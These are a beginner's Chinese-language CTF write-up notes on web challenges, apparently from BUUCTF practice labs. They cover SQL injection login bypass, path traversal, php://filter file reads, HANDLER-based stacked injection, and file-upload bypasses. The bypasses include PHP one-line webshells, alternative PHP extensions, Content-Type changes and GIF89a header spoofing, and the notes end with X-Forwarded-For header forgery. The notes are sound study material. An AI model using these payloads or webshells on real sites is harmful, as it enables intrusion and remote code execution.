目前还是很多东西不懂,就简单记录一下,所以有好多说不清道不明的,只能参考别人的wp,就这样还是挺多看不懂。。。加油吧
参考 https://space.bilibili.com/23906975/video
web方向有SQL注入、文件上传、代码执行、ssrf、crsf、xss、xxe...
EasySQL
漏洞产生原因:
开发者没有对普通用户提交的数据进行严格的过滤(所以可以插入一些代码——>漏洞被执行)
利用语句闭合(‘’ or ”“)、注释(/ or # or *)之类使语句失效
万能密码:通过逻辑运算来达到目的(即 假or真——>真)
最后
usename:' or 1=1/*
password:*/#
WarmUp
就是理解各种函数的含义进行构造
(我已经尽力理解每个函数了)
最后为 url/source.php?file=hint.php?../../../../../../ffffllllaaaagggg
提一嘴,../../../../就是一层一层向上翻目录,最后就会到达根目录
Havefun
普通的post、get,挺简单
Include
解:url/?file=php://filter/convert.base64-encode/resource=flag.php(或者先看index.php)
base64解码即可
例:?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
Exec
命令执行
ls命令就是list
的缩写,默认情况下使用ls用来打印出当前目录的列表
随便注
这些是被过滤的字眼
思路:先尝试一下报错
填入1'
获得两个表“1919810931114514” “words”
handler table_name open 打开
handler table_name read first 读取第一行;
handler table_name read nest 读取下一行;
先试一下words,没有东西
再试一下1919810931114514,又没用?
这里学到一个新知识点,表名为数字时,要用反引号包起来查询。。。反引号是esc下面那个啊啊啊啊,我以为是单引号
文件上传
[极客大挑战 2019]Upload
上传一句话木马——————<script language='php'>eval($_POST['mob']);</script>
抓包
这里改成.php
改为.phtml
最后加上GIF89a
上传成功,蚁剑连接,找到flag文件
[ACTF2020 新生赛]Upload
做法差不多。。。
总结
1. 一句话木马
普通形式:
<?php eval(@$_POST['a']); ?>
假如检测到
'<?': <script language='php'>eval($_POST['mob']);</script>
2.php后缀的其它形式
php、.php5、php4、.php3、php2、php1、html、htm、phtml、pht、pHp、pHp5、pHp4、pHp3、pHp2、pHp1、Html、Htm、pHtml(改大小写有时有用)
3.改Content-Type
改成image/jpeg
4.文件头绕过
常用GIF89a
靶场进阶https://github.com/c0ny1/upload-labs
[极客大挑战 2019]Http
进入secret.php
之前ctfshow——web入门有过
随便试了一下
最后用x-forwarded-for
知识点:HTTP、请求头伪造
涉及:
Referer:是请求头的一部分,假设A站上有B站的链接,在A站上点击B站的链接,请求头会带有Referer,而Referer的值为A站的链接;这也就是为什么上文所说的场景,遇见了Referer的限制就可能GG了。
User-Agent:一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识
X-Forwarded-For:可以伪造访问的源地址
还可以用bp